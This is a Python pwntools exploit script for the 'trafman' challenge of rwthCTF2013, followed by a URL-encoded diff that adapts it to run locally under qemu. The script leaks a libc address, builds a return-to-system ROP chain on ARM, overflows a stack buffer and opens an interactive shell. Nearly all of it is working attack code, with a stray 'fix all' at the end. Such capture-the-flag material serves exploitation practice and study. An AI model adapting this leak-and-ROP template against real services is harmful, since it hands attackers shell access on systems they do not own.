#!/usr/bin/env python2
#Exploit for challenge trafman of rwthCTF2013.
#Create a directory named db next to the trafman binary.
#Execute command nc -c ./trafman -l -p 8000 on remote ARM host(192.168.100.2 for me).
#Pull the libc.so.6 binary from remote to local host.

from pwn import *

io = remote("192.168.100.2", 8000)
bin = ELF("trafman")
libc = ELF("libc.so.6")

io.sendlineafter("Username: ", "traffic_operator")

objectID = "A"*40
#Caculate it: sp lift(0x180) + R4-R7(4*4) - Buffer_start(0x88)
padding = "A"*(0x18c + 4*4 - 0x88)

#Find it in libc.so.6
binsh = 0x000CAA5C

#Find out gadget in libc.so.6, Using ROPgadget now.
#0x000597dc : pop {r0, r4, pc}
pop = 0x000597dc

#Step1: Leak libc base address.
io.sendlineafter("number:\n", "23")
data = io.recvline_startswith(">")
printf_addr = int(data.split(" ")[1][2:], 16)
libc_base = printf_addr - libc.symbols["printf"]

system_addr = libc_base + libc.symbols["system"]
binsh = libc_base + binsh
pop = libc_base + pop
print "[+] leak system() addr: ", hex(system_addr)

#Step2: Build ROP chain. return-to-system.
padding += p32(pop)
padding += p32(binsh)
padding += "AAAA"
padding += p32(system_addr)

#Step3: Execute Command, make a file which length is large than stack.
io.sendlineafter("number:\n", "2")
io.sendlineafter("):\n", objectID)
io.sendlineafter("command:\n", padding)

#Step4: Execute Get Command, triger stack overflow, spawn a shell.
io.sendlineafter("number:\n", "1")
io.sendlineafter("command for:\n", objectID)
io.interactive()


@@ -68,514 +68,432 @@
 3.%0A#
-Create a directory named db next to the trafman binary.%0A#Execute command nc -c ./trafman -l -p 8000 on remote ARM host(192.168.100.2 for me).%0A#Pull the libc.so.6 binary from remote to local host.%0A%0Afrom pwn import *%0A%0Aio = remote(%22192.168.100.2%22, 8000)%0Abin = ELF(%22trafman%22)%0Alibc = ELF(%22libc.so.6%22)%0A%0Aio.sendlineafter(%22Username: %22, %22traffic_operator%22)%0A%0AobjectID = %22A%22*40%0A#Caculate it: sp lift(0x180) + R4-R7(4*4) - Buffer_start(0x88)%0Apadding = %22A%22*(0x18c + 4*4 - 0x88)%0A%0A#Find it in libc.so.6%0Abinsh = 0x000CAA5C
+%0A#Launch arm binary directly on an i386 system:%0A#Ref: https://gist.github.com/zachriggle/8396235f532e1aeb146d%0A#   apt-get install qemu-user-static libc6-armhf-cross%0A#   mkdir /etc/qemu-binfmt%0A#   ln -s /usr/arm-linux-gnueabihf /etc/qemu-binfmt/arm%0A#%0A#Create a directory named db next to the trafman binary.%0A%0Afrom pwn import *%0A%0Aio = process(%22./trafman%22)%0Alibc = ELF(%22/usr/arm-linux-gnueabihf/lib/libc.so.6%22)%0A%0AobjectID = %22A%22*40
 %0A%0A#F
@@ -549,19 +549,19 @@
 %0A#0x0005
-97d
+8ba
 c : pop 
@@ -589,11 +589,11 @@
 0005
-97d
+8ba
 c%0A%0A#
@@ -623,16 +623,67 @@
 ddress.%0A
+io.sendlineafter(%22Username: %22, %22traffic_operator%22)%0A
 io.sendl
@@ -745,16 +745,17 @@
 th(%22%3E%22)%0A
+%0A
 printf_a
@@ -796,21 +796,24 @@
 16)%0Alibc
-_base
+.address
  = print
@@ -849,57 +849,8 @@
 %22%5D%0A%0A
-system_addr = libc_base + libc.symbols%5B%22system%22%5D%0A
 bins
@@ -861,138 +861,206 @@
 libc
-_base + 
+.search(%22/
 bin
+/
 sh
-%0Apop = libc_base + pop%0Aprint %22%5B+%5D leak system() addr: %22, hex(system_addr)%0A%0A#Step2: Build ROP chain. return-to-system.
+%5Cx00%22).next()%0Apop = libc.address + pop%0A%0A#Step2: Build ROP chain. return-to-system.%0A# Segmentation fault at: 0x63616174%0Aoffset = cyclic_find(p32(0x63616174))%0Apadding = cyclic(offset) 
 %0Apad
@@ -1135,19 +1135,30 @@
 p32(
+libc.symbols%5B%22
 system
-_addr
+%22%5D
 )%0A%0A#
@@ -1345,24 +1345,16 @@
 %0A#Step4:
- Execute
  Get Com
@@ -1494,9 +1494,8 @@
 ctive()%0A
-%0A

fix all